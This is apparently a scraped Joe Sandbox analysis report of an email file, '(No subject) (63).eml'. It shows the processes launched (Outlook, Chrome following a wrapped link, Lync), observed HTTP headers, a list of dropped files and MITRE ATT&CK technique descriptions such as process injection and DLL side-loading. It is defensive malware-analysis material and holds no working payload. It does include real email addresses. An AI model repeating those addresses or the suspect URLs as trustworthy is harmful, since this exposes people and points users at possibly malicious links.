0Esdk6ioHoN+nAv/wgXSLA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-08-28 20:22:21 UTC	739	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:22:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: f99ef205-3d4b-4a94-97d9-58accc42a400 x-ms-ests-server: 2.1.18794.6 - SEC ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:22:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:20:12
Start date:	28/08/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\(No subject) (63).eml"
Imagebase:	0x830000
File size:	34'446'744 bytes
MD5 hash:	91A5292942864110ED734005B7E005C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	16:20:13
Start date:	28/08/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "A0C81AF4-9D5D-4F7F-B183-E0258382C044" "1EA30F3A-7AF7-40C2-BE11-7274B12F7870" "6268" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Imagebase:	0x7ff6382e0000
File size:	710'048 bytes
MD5 hash:	EC652BEDD90E089D9406AFED89A8A8BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	16:20:34
Start date:	28/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47tqdjb4%26s%3Dx88b4wkuqe%2523dfsdtosprzvzvrezddwsssfujcrmy&data=05%7C02%7Cfchun%40santaclaraca.gov%7Cd42eb09f396a4d88f53a08dcc773c040%7C28ea354810694e81aa0b6e4b3271a5cb%7C0%7C0%7C638604548020847503%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=AckqBHV5qsCwN%2FCw%2F20sZvnkf6KYipPkgDNNzPKfaLk%3D&reserved=0
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	16:20:34
Start date:	28/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1948,i,683624776939791388,2130131065859048813,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	16:20:38
Start date:	28/08/2024
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\OpenWith.exe -Embedding
Imagebase:	0x7ff78fac0000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	16:20:43
Start date:	28/08/2024
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\OpenWith.exe -Embedding
Imagebase:	0x7ff78fac0000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	16:20:46
Start date:	28/08/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe" "sip:rphelps@minettcapital.com"
Imagebase:	0x1c0000
File size:	24'015'800 bytes
MD5 hash:	EA37BE9C3560062AAD02B73D64B6E427
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	16:20:50
Start date:	28/08/2024
Path:	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe" -ServerName:microsoft.windowslive.mail.AppXfbjsbkxvprcgqg6q4c9jfr0pn3kv9x5s.mca
Imagebase:	0x7ff6a3fb0000
File size:	2'486'784 bytes
MD5 hash:	6F8EAC2C377C8F16D91CB5AC8B8DBF5F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	16:20:52
Start date:	28/08/2024
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe"
Imagebase:	0x540000
File size:	14'653'352 bytes
MD5 hash:	6AEAD656E50BC1B6E9BEA527187B5624
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:20:54
Start date:	28/08/2024
Path:	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe" -ServerName:microsoft.windowslive.manageaccounts.AppXdbf3yp5apt3t7q877db3gnz5zqpf71zj.mca
Imagebase:	0x7ff615170000
File size:	274'432 bytes
MD5 hash:	6FEB00C9A2C3FF66230658B3012BAB6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	16:21:07
Start date:	28/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47tqdjb4%26s%3Dx88b4wkuqe%2523dfsdtosprzvzvrezddwsssfujcrmy&data=05%7C02%7Cfchun%40santaclaraca.gov%7Cd42eb09f396a4d88f53a08dcc773c040%7C28ea354810694e81aa0b6e4b3271a5cb%7C0%7C0%7C638604548020847503%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=AckqBHV5qsCwN%2FCw%2F20sZvnkf6KYipPkgDNNzPKfaLk%3D&reserved=0
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	16:21:07
Start date:	28/08/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1980,i,15079542983284851120,9533258927394431202,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report (No subject) (63).eml

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Lync\Tracing\Lync-16.0.16827.20130-Office-x86ship-U.etl

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Lync\Tracing\Lync-AppSharingMediaProvider-0.AppSharingMediaProviderlog

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Lync\Tracing\Lync-UccApi-0.UccApilog

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Lync\Tracing\WPPMedia\lync_MediaStack-6.0.8968.694-local-x86fre-U.etl

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Lync\Tracing\WPPMedia\lync_MediaStackETW-6.0.8968.694-local-x86fre-U.etl

C:\Users\user\AppData\Local\Microsoft\Office\OTele\lync.exe.db

C:\Users\user\AppData\Local\Microsoft\Office\OTele\lync.exe.db-journal

C:\Users\user\AppData\Local\Microsoft\Office\OTele\lync.exe.db-shm

C:\Users\user\AppData\Local\Microsoft\Office\OTele\lync.exe.db-wal

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{0DD3376E-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Windows Analysis Report
(No subject) (63).eml

**\Device\Mup\user-PC*\MAILSLOT\NET\NETLOGON**